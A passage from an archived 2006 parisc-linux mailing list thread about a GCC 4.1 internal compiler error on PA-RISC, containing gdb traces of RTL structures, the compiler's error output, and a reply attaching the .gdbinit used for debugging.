$5 = {code = SET, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527584, rt_uint = 3286439712, 
        rt_str = 0x3204c3e31720 "\"", rt_rtx = 0x3204c3e31720, rt_rtvec = 0x3204c3e31720, 
        rt_type = 3286439712, rt_addr_diff_vec_flags = {min_align = 32, base_after_vec = 1, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e31720, rt_bit = 0x3204c3e31720, 
        rt_tree = 0x3204c3e31720, rt_bb = 0x3204c3e31720, rt_mem = 0x3204c3e31720, 
        rt_reg = 0x3204c3e31720}}, hwint = {54996047697696}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701241, sig = {54996046949248, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 1, emit_move_sequence (operands=0x70c27856b8c0, mode=DImode, scratch_reg=0x0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c:1310
1310	  register rtx operand0 = operands[0];
$6 = {code = REG, mode = DImode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 0, u = {fld = {{rt_int = 95, rt_uint = 95, 
        rt_str = 0x5f <Address 0x5f out of bounds>, rt_rtx = 0x5f, rt_rtvec = 0x5f, rt_type = 95, 
        rt_addr_diff_vec_flags = {min_align = 95, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x5f, 
        rt_bit = 0x5f, rt_tree = 0x5f, rt_bb = 0x5f, rt_mem = 0x5f, rt_reg = 0x5f}}, hwint = {95}, rv = {
      cl = 3, sign = 1, signalling = 1, canonical = 1, uexp = 2, sig = {95, 0, 0}}}}
$7 = {code = PLUS, mode = DImode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527584, rt_uint = 3286439712, 
        rt_str = 0x3204c3e31720 "\"", rt_rtx = 0x3204c3e31720, rt_rtvec = 0x3204c3e31720, 
        rt_type = 3286439712, rt_addr_diff_vec_flags = {min_align = 32, base_after_vec = 1, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e31720, rt_bit = 0x3204c3e31720, 
        rt_tree = 0x3204c3e31720, rt_bb = 0x3204c3e31720, rt_mem = 0x3204c3e31720, 
        rt_reg = 0x3204c3e31720}}, hwint = {54996047697696}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701241, sig = {54996046949264, 0, 54996046836352}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3e317a0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$8 = {code = SET, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527648, rt_uint = 3286439648, 
        rt_str = 0x3204c3e316e0 "\"", rt_rtx = 0x3204c3e316e0, rt_rtvec = 0x3204c3e316e0, 
        rt_type = 3286439648, rt_addr_diff_vec_flags = {min_align = 224, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e316e0, rt_bit = 0x3204c3e316e0, 
        rt_tree = 0x3204c3e316e0, rt_bb = 0x3204c3e316e0, rt_mem = 0x3204c3e316e0, 
        rt_reg = 0x3204c3e316e0}}, hwint = {54996047697632}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701239, sig = {54996047697760, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d5f2d0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$9 = {code = INSN, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 9, rt_uint = 9, 
        rt_str = 0x9 <Address 0x9 out of bounds>, rt_rtx = 0x9, rt_rtvec = 0x9, rt_type = TImode, 
        rt_addr_diff_vec_flags = {min_align = 9, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x9, 
        rt_bit = 0x9, rt_tree = 0x9, rt_bb = 0x9, rt_mem = 0x9, rt_reg = 0x9}}, hwint = {9}, rv = {cl = 1, 
      sign = 0, signalling = 1, canonical = 0, uexp = 0, sig = {0, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d5f280)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$10 = {code = INSN, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 8, rt_uint = 8, 
        rt_str = 0x8 <Address 0x8 out of bounds>, rt_rtx = 0x8, rt_rtvec = 0x8, rt_type = DImode, 
        rt_addr_diff_vec_flags = {min_align = 8, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x8, 
        rt_bit = 0x8, rt_tree = 0x8, rt_bb = 0x8, rt_mem = 0x8, rt_reg = 0x8}}, hwint = {8}, rv = {cl = 0, 
      sign = 0, signalling = 1, canonical = 0, uexp = 0, sig = {0, 54996046836432, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3e317e0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$11 = {code = SET, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527872, rt_uint = 3286439424, 
        rt_str = 0x3204c3e31600 "'", rt_rtx = 0x3204c3e31600, rt_rtvec = 0x3204c3e31600, 
        rt_type = 3286439424, rt_addr_diff_vec_flags = {min_align = 0, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e31600, rt_bit = 0x3204c3e31600, 
        rt_tree = 0x3204c3e31600, rt_bb = 0x3204c3e31600, rt_mem = 0x3204c3e31600, 
        rt_reg = 0x3204c3e31600}}, hwint = {54996047697408}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701232, sig = {54996047697632, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d5f280)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$12 = {code = INSN, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 8, rt_uint = 8, 
        rt_str = 0x8 <Address 0x8 out of bounds>, rt_rtx = 0x8, rt_rtvec = 0x8, rt_type = DImode, 
        rt_addr_diff_vec_flags = {min_align = 8, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x8, 
        rt_bit = 0x8, rt_tree = 0x8, rt_bb = 0x8, rt_mem = 0x8, rt_reg = 0x8}}, hwint = {8}, rv = {cl = 0, 
      sign = 0, signalling = 1, canonical = 0, uexp = 0, sig = {0, 54996046836432, 0}}}}
(gdb) 
Continuing.

Breakpoint 1, emit_move_sequence (operands=0x70c27856c780, mode=SImode, scratch_reg=0x0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/config/pa/pa.c:1310
1310	  register rtx operand0 = operands[0];
$13 = {code = REG, mode = SImode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 1, u = {fld = {{rt_int = 28, rt_uint = 28, 
        rt_str = 0x1c <Address 0x1c out of bounds>, rt_rtx = 0x1c, rt_rtvec = 0x1c, rt_type = 28, 
        rt_addr_diff_vec_flags = {min_align = 28, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x1c, 
        rt_bit = 0x1c, rt_tree = 0x1c, rt_bb = 0x1c, rt_mem = 0x1c, rt_reg = 0x1c}}, hwint = {28}, rv = {
      cl = 0, sign = 1, signalling = 1, canonical = 1, uexp = 0, sig = {28, 0, 54996047741248}}}}
$14 = {code = REG, mode = SImode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, used = 0, 
  frame_related = 0, return_val = 0, u = {fld = {{rt_int = 94, rt_uint = 94, 
        rt_str = 0x5e <Address 0x5e out of bounds>, rt_rtx = 0x5e, rt_rtvec = 0x5e, rt_type = 94, 
        rt_addr_diff_vec_flags = {min_align = 94, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0x5e, 
        rt_bit = 0x5e, rt_tree = 0x5e, rt_bb = 0x5e, rt_mem = 0x5e, rt_reg = 0x5e}}, hwint = {94}, rv = {
      cl = 2, sign = 1, signalling = 1, canonical = 1, uexp = 2, sig = {94, 54996046949216, 458786}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3e31800)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$15 = {code = SET, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527712, rt_uint = 3286439584, 
        rt_str = 0x3204c3e316a0 "\"", rt_rtx = 0x3204c3e316a0, rt_rtvec = 0x3204c3e316a0, 
        rt_type = 3286439584, rt_addr_diff_vec_flags = {min_align = 160, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e316a0, rt_bit = 0x3204c3e316a0, 
        rt_tree = 0x3204c3e316a0, rt_bb = 0x3204c3e316a0, rt_mem = 0x3204c3e316a0, 
        rt_reg = 0x3204c3e316a0}}, hwint = {54996047697568}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701237, sig = {54996047697504, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d5f370)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$16 = {code = INSN, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 14, rt_uint = 14, 
        rt_str = 0xe <Address 0xe out of bounds>, rt_rtx = 0xe, rt_rtvec = 0xe, rt_type = CHImode, 
        rt_addr_diff_vec_flags = {min_align = 14, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0xe, 
        rt_bit = 0xe, rt_tree = 0xe, rt_bb = 0xe, rt_mem = 0xe, rt_reg = 0xe}}, hwint = {14}, rv = {cl = 2, 
      sign = 1, signalling = 1, canonical = 0, uexp = 0, sig = {0, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d7aba0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$17 = {code = CLOBBER, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527712, rt_uint = 3286439584, 
        rt_str = 0x3204c3e316a0 "\"", rt_rtx = 0x3204c3e316a0, rt_rtvec = 0x3204c3e316a0, 
        rt_type = 3286439584, rt_addr_diff_vec_flags = {min_align = 160, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e316a0, rt_bit = 0x3204c3e316a0, 
        rt_tree = 0x3204c3e316a0, rt_bb = 0x3204c3e316a0, rt_mem = 0x3204c3e316a0, 
        rt_reg = 0x3204c3e316a0}}, hwint = {54996047697568}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701237, sig = {0, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d7abb0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$18 = {code = CLOBBER, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527776, rt_uint = 3286439520, 
        rt_str = 0x3204c3e31660 "\"", rt_rtx = 0x3204c3e31660, rt_rtvec = 0x3204c3e31660, 
        rt_type = 3286439520, rt_addr_diff_vec_flags = {min_align = 96, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e31660, rt_bit = 0x3204c3e31660, 
        rt_tree = 0x3204c3e31660, rt_bb = 0x3204c3e31660, rt_mem = 0x3204c3e31660, 
        rt_reg = 0x3204c3e31660}}, hwint = {54996047697504}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701235, sig = {0, 0, 0}}}}
(gdb) 
Continuing.

Breakpoint 3, emit_insn_after (pattern=0x3204c3d5f3c0, after=0x3204c3e3c400)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4260
4260	  if (INSN_P (after))
$19 = {code = INSN, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 15, rt_uint = 15, 
        rt_str = 0xf <Address 0xf out of bounds>, rt_rtx = 0xf, rt_rtvec = 0xf, rt_type = CSImode, 
        rt_addr_diff_vec_flags = {min_align = 15, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0xf, 
        rt_bit = 0xf, rt_tree = 0xf, rt_bb = 0xf, rt_mem = 0xf, rt_reg = 0xf}}, hwint = {15}, rv = {cl = 3, 
      sign = 1, signalling = 1, canonical = 0, uexp = 0, sig = {0, 54996046836752, 0}}}}
$20 = {code = NOTE, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = 11, rt_uint = 11, 
        rt_str = 0xb <Address 0xb out of bounds>, rt_rtx = 0xb, rt_rtvec = 0xb, rt_type = DFmode, 
        rt_addr_diff_vec_flags = {min_align = 11, base_after_vec = 0, min_after_vec = 0, max_after_vec = 0, 
          min_after_base = 0, max_after_base = 0, offset_unsigned = 0, scale = 0}, rt_cselib = 0xb, 
        rt_bit = 0xb, rt_tree = 0xb, rt_bb = 0xb, rt_mem = 0xb, rt_reg = 0xb}}, hwint = {11}, rv = {cl = 3, 
      sign = 0, signalling = 1, canonical = 0, uexp = 0, sig = {54996046836512, 54996046836272, 0}}}}
(gdb) 
Continuing.

Breakpoint 2, emit_insn (x=0x3204c3d7abc0)
    at /usr/local/src/gnu/gcc/branches/gcc-4_1-branch/gcc/emit-rtl.c:4433
4433	  rtx last = last_insn;
$21 = {code = USE, mode = VOIDmode, jump = 0, call = 0, unchanging = 0, volatil = 0, in_struct = 0, 
  used = 0, frame_related = 0, return_val = 0, u = {fld = {{rt_int = -1008527712, rt_uint = 3286439584, 
        rt_str = 0x3204c3e316a0 "\"", rt_rtx = 0x3204c3e316a0, rt_rtvec = 0x3204c3e316a0, 
        rt_type = 3286439584, rt_addr_diff_vec_flags = {min_align = 160, base_after_vec = 0, 
          min_after_vec = 1, max_after_vec = 1, min_after_base = 0, max_after_base = 1, 
          offset_unsigned = 0, scale = 227}, rt_cselib = 0x3204c3e316a0, rt_bit = 0x3204c3e316a0, 
        rt_tree = 0x3204c3e316a0, rt_bb = 0x3204c3e316a0, rt_mem = 0x3204c3e316a0, 
        rt_reg = 0x3204c3e316a0}}, hwint = {54996047697568}, rv = {cl = 0, sign = 0, signalling = 0, 
      canonical = 0, uexp = 102701237, sig = {0, 0, 0}}}}
(gdb) 
Continuing.
../seed48_r.i: In function 'main':
../seed48_r.i:1: error: unrecognizable insn:
(insn 9 8 10 1 (set (reg:DI 95)
        (plus:DI (reg:DI 96)
            (const_int -6547 [0xffffffffffffe66d]))) -1 (nil)
    (expr_list:REG_EQUAL (const_int 25214903917 [0x5deece66d])
        (nil)))
../seed48_r.i:1: internal compiler error: in extract_insn, at recog.c:2084
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.

Program exited with code 01.
(gdb) 

--Boundary-00=_EXiXFo3EVKgtM2l
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_EXiXFo3EVKgtM2l--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc ICE PR29114 (was: 64-bit long double support.)
Date: Fri, 17 Nov 2006 16:16:01 -0500
Organization: wh0rd.org
Lines: 83
Approved: news@gmane.org
Message-ID: <200611171616.02722.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<20061117205126.GA15716@hiauly1.hia.nrc.ca>
	<200611171612.36286.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_SaiXF7fy2/dbKAm"
X-Trace: ger.gmane.org 1416624214 21620 80.91.229.3 (22 Nov 2014 02:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:34 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 21:17:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 17 Nov 2006 22:17:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C0977D975;
	Fri, 17 Nov 2006 14:17:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19109-10; Fri, 17 Nov 2006 14:17:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34DF67D977;
	Fri, 17 Nov 2006 14:17:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 146A87D95E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:16:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19160-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:16:55 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 9E13B7D8B9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 14:16:55 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 0739F642C0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 21:16:52 +0000 (UTC)
Original-Received: (qmail 23688 invoked from network); 17 Nov 2006 16:13:10 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 17 Nov 2006 16:13:10 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200611171612.36286.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tUI2CCQJbHIyX63NNjQ0ysEqJihyahAh
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24088

--Boundary-00=_SaiXF7fy2/dbKAm
Content-Type: multipart/signed; boundary="nextPart1315750.gZm9xlAsX3";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1315750.gZm9xlAsX3
Content-Type: text/plain;
  charset="iso-8859-6"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 17 November 2006 16:12, Mike Frysinger wrote:
> updated trace with automatic pretty prints attached to each breakpoint

here's the .gdbinit i'm using btw
-mike

--nextPart1315750.gZm9xlAsX3
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV4mkkFjO5/oN/WBAQJ0aA//f5mnd70YaJq4tGd2R0gXpk44AeRLeRgS
qs+RMjH2gmUkhyVLPwoxzkkmk71NgrvejwkkyG4qN51L3n4MVhhHUcxmEWpG6tG9
akcAtXxhq70YEkFQmkJcwLeSJWOeq+xduzqVifCN9gakRH+7xBvtUuYU8Pcn6aKS
ubfR/vgrr0vDIqW2eXV4b6mUlE/BVe0rbtKA7OPOvGHyFmZKWOs89f40I6Yj4Y01
1j58uObCIMX06ToPItbm536obzEqM9TM3ZWf2rI1AMXu1lfKB3sYtg2xtB7Kuty8
+K5agq1pD9ciyWHp38AWQaM2fwlTclxb1zzaEWgg8J5LRxmJ+8ofdwEv450RMRXN
6YXcjBDN1x+YTspDDNOoiN4IIqtwqvEoHUvbJL84u8uhmV0s+GV5ErDeOfmPkog/
czbd440sJwgagiOJgPUwXfyhp+Qip5kRyWVZ2aNPkeiU784Dvao8PIGzTXpOAyu1
DkTO8Xga6uYGaDQ/sRlM6YRWX60tQLnem6WQXL5ESUFhVfL9bC9ZNK8t/oj/hdUY
kUgki3gudp+RPje2FWaEHeguFd+q9hZAV/Ilk0LsNx3i5iSLJpJpW9EV/3sdkRka
sVvz4FjfbYxs8tep+xJKdlL1wJW+F8v89g2WWb/xSGjGDwWWnllwEUKv6NdSWGsP
Jk8q1JmPWYY=
=nOQZ
-----END PGP SIGNATURE-----

--nextPart1315750.gZm9xlAsX3--

--Boundary-00=_SaiXF7fy2/dbKAm
Content-Type: text/plain;
  charset="iso-8859-6";
  name=".gdbinit"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename=".gdbinit"

file gcc/cc1
set args -fpreprocessed ../seed48_r.i -quiet -dumpbase seed48_r.i -auxbase seed48_r -version -o /tmp/cc9E3kFl.s

b emit_move_sequence
b emit_insn
b emit_insn_after
b emit_insn_before
commands 1
	print *operands[0]
	print *operands[1]
end
commands 2
	if x > 0
		print *x
	end
end
commands 3
	p *pattern
	p *after
end
r

--Boundary-00=_SaiXF7fy2/dbKAm
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_SaiXF7fy2/dbKAm--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc ICE PR29114 (was: 64-bit long double support.)
Date: Fri, 17 Nov 2006 17:35:06 -0500
Organization: wh0rd.org
Lines: 57
Approved: news@gmane.org
Message-ID: <200611171735.07215.vapier@gentoo.org>
References: <200611172149.kAHLneVu017780@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0420059544=="
X-Trace: ger.gmane.org 1416624214 21624 80.91.229.3 (22 Nov 2014 02:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:34 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 22:35:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 17 Nov 2006 23:35:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB3537D97F;
	Fri, 17 Nov 2006 15:35:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20380-10; Fri, 17 Nov 2006 15:35:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E74327D992;
	Fri, 17 Nov 2006 15:35:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42AE7D97E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 15:35:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20380-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 15:35:09 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 3BEF77D964
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 15:35:09 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 906D1644EF
	for <parisc-linux@lists.parisc-linux.org>;
